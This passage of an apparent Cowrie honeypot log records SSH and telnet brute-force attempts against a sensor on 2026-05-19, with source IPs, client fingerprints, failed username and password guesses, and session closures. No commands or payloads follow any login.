fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:38.488306Z","src_ip":"147.45.211.215","session":"bb09ba3fee41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rdfhnbhf","message":"login attempt [root/rdfhnbhf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:39.021257Z","src_ip":"147.45.211.215","session":"bb09ba3fee41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rrrrrr","message":"login attempt [root/rrrrrr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:39.228033Z","src_ip":"103.122.221.179","session":"427ece9e8178","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:40.200300Z","src_ip":"147.45.211.215","session":"bb09ba3fee41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:40.492915Z","src_ip":"103.122.221.179","session":"427ece9e8178","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.31.151","src_port":38956,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2a486139beb","protocol":"ssh","message":"New connection: 43.130.31.151:38956 (159.203.135.109:22) [session: d2a486139beb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:43.366998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:43.371661Z","src_ip":"43.130.31.151","session":"d2a486139beb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:43.440222Z","src_ip":"43.130.31.151","session":"d2a486139beb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678","message":"login attempt [root/12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:43.745187Z","src_ip":"43.130.31.151","session":"d2a486139beb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:44.818448Z","src_ip":"43.130.31.151","session":"d2a486139beb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55834,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c180bc77a7f","protocol":"telnet","message":"New connection: 192.119.13.58:55834 (10.17.0.5:23) [session: 3c180bc77a7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:05:08.428110Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.79.29.108","src_port":55386,"dst_ip":"159.203.135.109","dst_port":22,"session":"34420e6ac842","protocol":"ssh","message":"New connection: 202.79.29.108:55386 (159.203.135.109:22) [session: 34420e6ac842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:05:14.759366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:05:14.764497Z","src_ip":"202.79.29.108","session":"34420e6ac842","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:05:15.029948Z","src_ip":"202.79.29.108","session":"34420e6ac842","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"abcd","message":"login attempt [test/abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:05:16.121165Z","src_ip":"202.79.29.108","session":"34420e6ac842","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:05:17.390115Z","src_ip":"202.79.29.108","session":"34420e6ac842","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43334,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6d111f46cf1","protocol":"telnet","message":"New connection: 192.119.13.58:43334 (10.17.0.5:23) [session: c6d111f46cf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:05:19.788654Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44114,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa676e8dcd77","protocol":"telnet","message":"New connection: 192.119.13.58:44114 (10.17.0.5:23) [session: fa676e8dcd77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:05:26.721989Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":42500,"dst_ip":"159.203.135.109","dst_port":22,"session":"c710a4a96dd0","protocol":"ssh","message":"New connection: 43.135.182.46:42500 (159.203.135.109:22) [session: c710a4a96dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:05:30.854031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:05:30.859436Z","src_ip":"43.135.182.46","session":"c710a4a96dd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:05:30.928704Z","src_ip":"43.135.182.46","session":"c710a4a96dd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wilfried","message":"login attempt [root/wilfried] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:05:31.235986Z","src_ip":"43.135.182.46","session":"c710a4a96dd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:05:32.307849Z","src_ip":"43.135.182.46","session":"c710a4a96dd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":58476,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4ca298a150d","protocol":"ssh","message":"New connection: 185.236.22.41:58476 (159.203.135.109:22) [session: d4ca298a150d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:05:37.444732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:05:37.451317Z","src_ip":"185.236.22.41","session":"d4ca298a150d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:05:37.587563Z","src_ip":"185.236.22.41","session":"d4ca298a150d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"erifssorc","message":"login attempt [root/erifssorc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:05:37.965524Z","src_ip":"185.236.22.41","session":"d4ca298a150d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:05:39.123364Z","src_ip":"185.236.22.41","session":"d4ca298a150d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.160.121","src_port":4523,"dst_ip":"10.17.0.5","dst_port":23,"session":"41feca147e8a","protocol":"telnet","message":"New connection: 41.242.160.121:4523 (10.17.0.5:23) [session: 41feca147e8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:05:44.943410Z"}
{"eventid":"cowrie.session.closed","duration":42.83255457878113,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:05:51.260484Z","src_ip":"192.119.13.58","session":"3c180bc77a7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.862298727035522,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:05:58.805582Z","src_ip":"41.242.160.121","session":"41feca147e8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.643911600112915,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:06:03.365763Z","src_ip":"192.119.13.58","session":"fa676e8dcd77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.31.151","src_port":32976,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ccb203fbe03","protocol":"ssh","message":"New connection: 43.130.31.151:32976 (159.203.135.109:22) [session: 7ccb203fbe03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:06:06.758247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:06:06.762962Z","src_ip":"43.130.31.151","session":"7ccb203fbe03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:06:06.832001Z","src_ip":"43.130.31.151","session":"7ccb203fbe03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"choudhury","message":"login attempt [root/choudhury] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:06:07.139944Z","src_ip":"43.130.31.151","session":"7ccb203fbe03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:06:08.212304Z","src_ip":"43.130.31.151","session":"7ccb203fbe03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.00017809867859,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:06:08.788707Z","src_ip":"192.119.13.58","session":"c6d111f46cf1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49712,"dst_ip":"10.17.0.5","dst_port":23,"session":"22cfb76c2d68","protocol":"telnet","message":"New connection: 192.119.13.58:49712 (10.17.0.5:23) [session: 22cfb76c2d68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:06:23.493785Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.79.29.108","src_port":45036,"dst_ip":"159.203.135.109","dst_port":22,"session":"562149662f40","protocol":"ssh","message":"New connection: 202.79.29.108:45036 (159.203.135.109:22) [session: 562149662f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:06:31.825974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:06:31.831711Z","src_ip":"202.79.29.108","session":"562149662f40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:06:32.097075Z","src_ip":"202.79.29.108","session":"562149662f40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin@2025","message":"login attempt [sysadmin/sysadmin@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:06:33.189314Z","src_ip":"202.79.29.108","session":"562149662f40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:06:34.457345Z","src_ip":"202.79.29.108","session":"562149662f40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":33293,"dst_ip":"159.203.135.109","dst_port":23,"session":"c42f206dc54a","protocol":"telnet","message":"New connection: 186.195.16.41:33293 (159.203.135.109:23) [session: c42f206dc54a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:06:35.319214Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":51486,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e93ccc37f07","protocol":"ssh","message":"New connection: 43.135.182.46:51486 (159.203.135.109:22) [session: 7e93ccc37f07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:06:55.401092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:06:55.405732Z","src_ip":"43.135.182.46","session":"7e93ccc37f07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:06:55.475394Z","src_ip":"43.135.182.46","session":"7e93ccc37f07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"venkatesh","message":"login attempt [root/venkatesh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:06:55.784080Z","src_ip":"43.135.182.46","session":"7e93ccc37f07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:06:56.857306Z","src_ip":"43.135.182.46","session":"7e93ccc37f07","protocol":"ssh"}
